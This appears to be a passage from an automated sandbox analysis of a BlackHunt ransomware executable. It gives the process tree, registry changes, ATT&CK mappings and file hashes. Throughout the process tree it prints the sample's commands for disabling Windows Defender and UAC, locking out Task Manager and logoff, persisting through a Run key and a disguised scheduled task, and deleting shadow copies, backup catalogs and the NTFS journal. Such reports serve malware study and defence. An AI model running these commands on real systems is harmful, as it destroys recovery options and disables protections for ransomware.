7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 154 PID 1108 wrote to memory of 2824 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 140 PID 1108 wrote to memory of 2824 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 140 PID 1108 wrote to memory of 4280 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 146 PID 1108 wrote to memory of 4280 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 146 PID 1108 wrote to memory of 796 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 145 PID 1108 wrote to memory of 796 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 145 PID 1108 wrote to memory of 5072 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 143 PID 1108 wrote to memory of 5072 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 143 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe"C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1108 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:412 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2076
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:808 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4344
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:972
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:3468
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2328
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4012 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1236
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:3800
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:636
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:4812
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:3068
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2544
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:1956
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3224
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:1764
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:5104
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:4576
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1104
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2200
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:4992
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2428
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1156
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:3832
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:5044
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4268
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2692
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4552
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4864
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:3348
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:528
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:4428
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:4076
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:436
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1192
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:692
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:3116
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:4064
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:4800
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:3556
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:4072
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2824
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1612
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:5072
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:3084
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:796
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:4280
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2720
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:4452
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:752
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1256
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:4860
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1828
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe" /F2⤵PID:4976
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe" /F3⤵
- Creates scheduled task(s)
- Suspicious use of WriteProcessMemory
PID:972
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:3736
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:412
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:3912
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2320
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1008
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2568
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2292
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:4800
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4276
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2584
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1576
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1648
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1052
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:4864
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4636
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1156
-
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2900
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3880
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:4384
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:5012
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:4932
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4900
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3340
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:3620
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:4224
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5cea988d9dd268e7d619a55d931be57fd
SHA144f68e18cfc1096697ec7fb78b0a0d3e80d67f27
SHA256ced25092064062a13c617a1088948a70be26c716b9bc32b6454e8c04299857c2
SHA512a77b8621454e2eaff389166ca69aba1bbd8c896e75e8478a4ef2dff55ce1023e093a5056c340758676a110af25e1f1c628d7410d30d2bcda3f72440753bcbcf3
-
Filesize
12KB
MD55a1c96272005f2beb6e181cce52be738
SHA168b9727f258e9fe2a5f8f4269a1287958a0f0b6c
SHA25601d487510019d29134b90e1d6835bac8d67f8367f24fe9a1d37d859e1949d0ff
SHA5127639f570a3ba571eb16f39f8c5c72d1ab73603363821a04f67039ec321616b7ace29f36b41b94843ea297dd1acc8f93c1d902e87d646b83712dcd874dc9d63da
-
Filesize
684B
MD525b947f1c2c5d108581e123159fb4dd6
SHA1316262b7c99f399ec630d24f5dd79b9ddb7bb644
SHA256fbaefd3f7d43649577e7305e537aa2918e9c2229c5e3ebe2328e3f52a086d6a6
SHA5122e6b5ce4a68ef4c9252f1be15c9fa27841ac7e3e211aee9855bcdb1f5c7a6c21780327bbb1b978b25b767aa21291a961402909ebb3c7b84f57a33110076c8f35